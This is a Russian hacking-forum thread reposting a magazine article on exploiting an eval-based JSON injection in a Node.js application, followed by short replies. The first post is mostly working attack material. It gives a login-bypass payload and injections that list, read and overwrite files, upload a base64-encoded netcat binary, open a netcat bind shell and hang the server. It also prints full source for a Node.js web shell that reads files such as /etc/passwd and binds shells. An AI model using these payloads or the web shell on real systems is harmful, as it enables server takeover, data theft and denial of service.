Новости из Блогов Серверный js: В атаку!

Discussion in 'Мировые новости. Обсуждения.' started by d3l3t3, 24 Jul 2012.

  1. d3l3t3

    d3l3t3 Banned

    Joined:
    3 Dec 2010
    Messages:
    1,771
    Likes Received:
    98
    Reputations:
    10
    Серверный js: В атаку!


    Решив не изобретать велосипед и не писать ничего нового. я взял уже готовый код уязвимого приложения из февральского выпуска, и просто сократил его. В февральской статье автор говорил о том как авторизоваться через данную уязвимость, это было что-то вроде аналога 1'+or+1=1+--+ в обычном MySQL.
    Сейчас я приведу уязвимый участок кода, и расскажу что и как в нем устроено, и почему он уязвим:

    PHP:
    "json-injection": function () {
                
    pageTitle locale.mongoJsonInjTitle;
                 
                
    processRequest(function (loginpassword) {
                    var 
    loginParam = eval("({ login: '" login "', password: '" password "' })");
                    return 
    loginParam;
                });
            },
    Как ты можешь увидеть, ошибка заключается в небезопасном использовании конструкции с eval'ом и отсутвие фильтра входящих данных.

    Теперь POC:

    PHP:
    root'})//
    В результате, мы видим что произошло в логах запущенного приложения:

    PHP:
    *** QUERY:
    login'root' }
    *** 
    DOCUMENT:
    _id4f37d1df08f4a55a79e97940,
      
    login'root',
      
    password'p@ssw0rd' }
    Как видишь, мы авторизовались без пароля ;)
    Теперь попробуем извлечь чуть больше, чем авторизация без пароля из этой баги. Для начала попробуем что-нибудь простенькое, например выполним console.log("hello"). Для этого, мы должны в поле для имени пользователя вставить следующий код:

    PHP:
    '}); console.log('hello');//
    Как вывидишь, мы закрываем запрос конструкцией " '}); " и подставляем нашу комманду, но не забываем про символы "//", т.к. они обозначают, что после них уже идет не код, а комментарий. Браузер нам показал 500 ошибку, но посмотрим что произошло в консоли самого сервера:

    PHP:
    hello
    ---> TypeErrorCannot read property 'isCustomJS' of undefined
    Как видишь - код успешно исполнился! Но теперь начинается самая сложная часть, над которой мне пришлось попотеть.


    Для начала немного лирики . Что нужно хакеру на сервере? Для начала - добиться исполнения своих комманд на захваченном сервере; после - читать, листать и изменять файлы. Ну а в идеале - получить полноценный\неполноценный шелл на сервере. Для этого используется или bindport, или backconnect.

    К сожалению, я не нашел в паблике, или в доступном мне привате. веб-шеллов заточенных под Server Side JavaScript, поэтому я решил на сей раз изобрести велосипед и написать свой веб-шелл. Но все не так просто, ведь мы не можем смотреть что происходит в консоли на сервере, и соотвественно console.log() не подойдет для наших целей. Немного покопавшись в мануалах к Node.js я нашел то, что как раз подходит под наши задачи, а именно response.end() и response.write().
    Вот пример использования:

    PHP:
    root'}); response.end('<h1>Hacked');//
    Теперь переходим к следующему пункту, а именно листингу файлов. Для этого нам надо подключить библиотеку fs, это делается с помощью - require('fs'). А вот так мы можем листать файлы из текущей диры - require('fs').readdirSync('.'). Но, в завершении, мы должны сделать вывод читабельным, с помощью метода toString(). И теперь мы совместим все вышеописанное в мини-эксплойт:

    PHP:
    '}); response.end(require('fs').readdirSync('.').toString());//
    Итак, мы можем листать файлы из любой директории. А теперь перейдем к чтению этих файлов:

    PHP:
    root'}); response.end(require('fs').readFileSync('install.js').toString());//
    Затем, нам нужно научиться писать что-то в файл, делать это мы будем с помощью следующей конструкции:

    PHP:
    root'}); require('fs').writeFileSync("install.js","hacked");//
    И, как вывидишь, в файл install.js запишется слово hacked, но записано оно будет в начало файла, а не в конец.
    Также, нельзя не упомянуть возможность записи в файл, имея base64 код. Тебе это может понадобиться, если ты хочешь передать на сервер уже скомпилированный бинарник, исходный код, или просто большой файл. Для начала на локальном компе узнаем base64 нашего файла, при помощи комманды base64. Пример:

    cat /bin/nc.traditional | base64​

    Полученный текст отправим нашей комманде, которая его расшиифрует и запишет в файл:

    PHP:
    root'}); require('fs').writeFileSync("nc.traditional","tut_base64_kod", 'base64');//
    И наконец, то, ради чего вся статья, собственно, и задумывалась - запуск исполняемых файлов. К сожалению, ты не сможешь увидеть результат, т.к он не выводится в ответ, но можно его записать в файл и прочитать ;) Вот пример запуска бинд-порта на linux системах с netcat:

    PHP:
    root'}); require("child_process").exec("/bin/nc -l -p 31337 -e /bin/bash");//
    Также, нельзя не упомянуть про возможность использования этой уязвимости для DoS-атаки. Это делается довольно просто, а именно через запуск бесконечного цикла, например с while:

    PHP:
    root'}); while(1);//
    Спустя несколько дней изучения полученного материала, я и gl0w, который мне во многом помогал, написали этот веб-шелл. Вот исходный код шелла:

    PHP:
    var sys = require("sys"),
    my_http = require("http"),
    path = require("path"),
    url = require("url"),
    filesys = require("fs");
    os = require("child_process")
     
    my_http.createServer(function(request,response)
    {
        var 
    mode url.parse(request.url).pathname;
        var 
    param url.parse(request.url).query;
         
        if(
    mode == "/list")
            {
            
    path.exists(param,function(exists)
                {
                if(!
    exists)
                    {
                    
    response.writeHeader(404, {"Content-Type""text/plain"});
                    
    response.write("404 Not Found\n");
                    
    response.end();
                    }
                else
                    {
                    
    response.writeHeader(200);
                    
    response.write("List of file in current dir:\n");
                    
    response.write(require('fs').readdirSync(param).toString());
                    
    response.end();
                    }
                });
            }
             
        else if(
    mode == "/file")
            {
            
    path.exists(param,function(exists)
                {
                if(!
    exists)
                    {
                    
    response.writeHeader(404, {"Content-Type""text/plain"});
                    
    response.write("404 Not Found\n");
                    
    response.end();
                    }
                else
                    {
                    
    filesys.readFile(param"binary", function(errfile
                        {
                        
    response.writeHeader(200);
                        
    response.write(file"binary");
                        
    response.end();
                        });
                    }
                }); 
                 
            }
        else if(
    mode == "/bind")
            {
            
    os.exec("/bin/nc -l -p "+param+" -e /bin/bash");
            
    response.write("Port "+param+" binded");
            
    response.end();
            }
             
    }).
    listen(8080);
    sys.puts("Shell Running on 8080");
    Теперь давай опробуем его в действии. Записываем шелл в файл, и запускаем через child_process:

    PHP:
    root'}); require('fs').writeFileSync("shell.js","dmFyIHN5cyA9IHJlcXVp.....пропущено много кода...wIik7DQo=", 'base64');//
    PHP:
    root'}); require("child_process").exec("node shell.js");//
    Настало время посмотреть, что он может. Функций пока мало, но это только первая версия, и со временем он будет совершенствоваться. Есть возможность листинга файлов, просмотра каталога и возможность бинд-порта.

    Листаем файлы из диры /etc

    http://server:8080/list?/etc

    Читаем файл /etc/passwd

    http://server:8080/file?/etc/passwd


    И, наконец, бинд-порт:

    http://server:8080/bind?31337

    Как видите, даже nodejs имеет ряд багов и уязвимотей, которые могут помочь хакеру проникнуть на ваш сервер.


    POC видео из журнала "Хакер":

    Смотреть

    15.07.2012, 20:14
    автор: cyber-punk
     
  2. BAGZ

    BAGZ Member

    Joined:
    27 Apr 2012
    Messages:
    64
    Likes Received:
    5
    Reputations:
    0
    8080 порт он у всех открыт
     
  3. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Блин, ну неужели какой-то идиот работающий с жс будет в своём коде делать eval (без учёта создания какого-нить шаблонизатора). А вообще как общее рассмотрение работы с серверными методами работы с фс и прочее - норм.
    И кстати говоря, насколько я понимаю это NodeJS. Но нигде не говорится об этом, а ведь серверных двигов куча, есть ещё и популярный v8cgi (под который есть цмс).
     
    #3 Melfis, 25 Jul 2012
    Last edited: 25 Jul 2012
  4. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    В строке listen(8080) можно поменять 8080 на любой другой порт.


    Поверь идиоты находятся. И не только разработчики, а крупные компании. В данной статье описана работа с nodeJS, только как пример возможной атаки, а nodeJS очень популярен. Возможно появятся статьи про раскрутку багов под другими движками.
     
    _________________________
  5. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Кибер, помню время, когда ты писал эту статью. :)

    Кстати, ты насчет ЛИ уже отправлял им? Я помню были какие-то заготовки только...
     
Loading...